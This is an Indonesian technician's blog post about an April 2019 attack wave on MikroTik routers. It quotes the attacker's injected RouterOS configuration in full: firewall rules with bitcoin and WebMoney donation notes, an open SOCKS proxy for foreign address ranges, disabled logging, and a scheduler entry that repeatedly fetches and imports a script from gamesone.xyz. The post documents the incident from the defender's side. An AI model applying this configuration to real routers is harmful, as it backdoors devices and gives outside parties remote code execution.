email : ariyaandro@gmail.com
Mikrotik : Serangan Hajime Botnet ke seluruh mikrotik dunia
Mikrotik : Wabah september 2018
Mikrotik : Wabah Oktober 2018
Mikrotik : Wabah November 2018
Mikrotik : Wabah Januari 2019
dari daftar postingan yang termuat, sepertinya bug mikrotik dalam versi yang lebih lama dalam setahun ini masih ada yang menggunakannya. dimana bulan ini serangannya mirip dengan sebelumnnya yaitu melakukan seranga bertahap dari menyisipkan rule pada firewall, note bitcoin, membuat port NAT, mengaktifkan proxy, edit port service mikrotik dan lainnya.
berikut capture serangan yang terjadi
penyisipan file html ke storage mikrotik 
crate user baru dalam mikrotik 
membuat rule yang lebih banyak dari sebelumnnya dan cirihas bitcoin sertw webmoney
berikut potongan code setting yang di sisipi,… syukur login utama belum terkunci…
#apr/26/2019 10:29:32 by RouterOS 6.39.2
/system logging action
set 1 disk-file-name=log
/ip firewall address-list
add address=10.0.0.0/8 list=allow-ip
add address=100.64.0.0/10 list=allow-ip
add address=172.16.0.0/12 list=allow-ip
add address=192.168.0.0/16 list=allow-ip
add address=127.0.0.1 list=allow-ip
/ip firewall filter
add action=add-src-to-address-list address-list=ip1 address-list-timeout=7s \
chain=input comment=”I closed the vulnerability with a firewall.” \
packet-size=1244 protocol=icmp
add action=accept chain=input dst-port=1993 protocol=tcp
add action=reject chain=output dst-address=139.99.5.202 protocol=tcp
add action=reject chain=output dst-address=95.154.216.166 protocol=tcp
add action=accept chain=input dst-port=1993 protocol=tcp
add action=accept chain=input dst-port=1993 protocol=tcp
add action=accept chain=input dst-port=1993 protocol=tcp
add action=add-src-to-address-list address-list=ip2 address-list-timeout=7s \
chain=input comment=ip2 packet-size=447 protocol=icmp src-address-list=\
ip1
add action=add-src-to-address-list address-list=allow-ip \
address-list-timeout=1h chain=input comment=allow-ip packet-size=447 \
protocol=icmp src-address-list=ip2
add action=add-src-to-address-list address-list=blacklist \
address-list-timeout=2h chain=input comment=blacklist packet-size=!447 \
protocol=icmp src-address-list=ip2
add action=add-src-to-address-list address-list=blacklist \
address-list-timeout=2h chain=input comment=blacklist packet-size=397 \
protocol=icmp
add action=add-src-to-address-list address-list=blacklist \
address-list-timeout=2h chain=input comment=blacklist packet-size=1083 \
protocol=icmp
add action=drop chain=input comment=\
“You can say thanks on the WebMoney Z399578297824″ dst-port=\
8778,8728,8729,22,23,80,443,8291 protocol=tcp src-address-list=blacklist
add action=add-src-to-address-list address-list=Ok address-list-timeout=10s \
chain=input comment=sysadminpxy dst-port=8080 protocol=tcp
add action=accept chain=input comment=sysadmin53u port=53 protocol=udp
add action=accept chain=input comment=sysadmin53t port=53 protocol=tcp
add action=accept chain=input comment=\
“Please update RotherOS and change password.” src-address-list=allow-ip
add action=drop chain=input comment=”or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1\
. My Telegram http://t.me/router_os” dst-port=\
8778,8728,8729,22,23,80,443,8291 protocol=tcp src-address-list=!allow-ip
add action=accept chain=input comment=\
“Please update RouterOS and change password.” src-address-list=allow-ip
add action=passthrough chain=input
add action=tarpit chain=input comment=\
“Add you ip addess to allow-ip in Address Lists.” dst-port=30553 \
protocol=tcp
add action=add-src-to-address-list address-list=Ok address-list-timeout=10s \
chain=input dst-port=8080 protocol=tcp
/ip firewall nat
add action=redirect chain=dstnat disabled=yes dst-port=80 protocol=tcp \
src-address-list=!Ok to-ports=8080
add action=redirect chain=dstnat comment=sysadminpxy disabled=yes dst-port=80 \
protocol=tcp src-address-list=!Ok to-ports=8080
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-address=36.79.39.214 dst-port=554 \
protocol=tcp to-addresses=192.168.1.252 to-ports=554
add action=dst-nat chain=dstnat dst-address=36.79.39.214 dst-port=81 \
protocol=tcp to-addresses=192.168.1.252 to-ports=81
add action=dst-nat chain=dstnat dst-address=36.79.39.214 dst-port=8000 \
protocol=tcp to-addresses=192.168.1.252 to-ports=8000
/ip proxy
set cache-path=web-proxy1 enabled=yes
/ip proxy access
add action=deny comment=sysadminpxy
/ip service
set telnet disabled=yes
set ftp disabled=yes
set ssh port=22515
set api disabled=yes
set winbox disabled=yes
set api-ssl disabled=yes
/ip socks
set enabled=yes port=1993
/ip socks access
add src-address=94.130.51.0/24
add src-address=192.243.53.0/24
add src-address=82.204.203.0/24
add src-address=89.175.178.0/24
add src-address=5.188.0.0/15
add src-address=192.243.0.0/16
add src-address=5.9.0.0/16
add src-address=5.104.0.0/16
add action=deny src-address=0.0.0.0/0
/system logging
set 0 disabled=yes
set 1 disabled=yes
set 2 disabled=yes
set 3 disabled=yes
/system note
set note=”The security flaw for Hajime is closed by the firewall. Please updat\
e RouterOS. Gratitude is accepted on WebMoney Z399578297824 or BTC 14qiYkk\
3nUgsdqQawiMLC1bUGDZWHowix1“
/system ntp client
set enabled=yes primary-ntp=88.147.254.230 secondary-ntp=88.147.254.235
/system scheduler
add interval=3m name=U6 on-event=”/tool fetch url=http://gamesone.xyz/poll/8bc\
633a0-28b0-4587-9936-18b08a19adda mode=http dst-path=7wmp0b4swouv\r\
\n/import 7wmp0b4swouv” policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
salam rekan teknisi seprofesi
__________________________________
link profile teknis penulis
email : ariyaandro@gmail.com
Komentar
Posting Komentar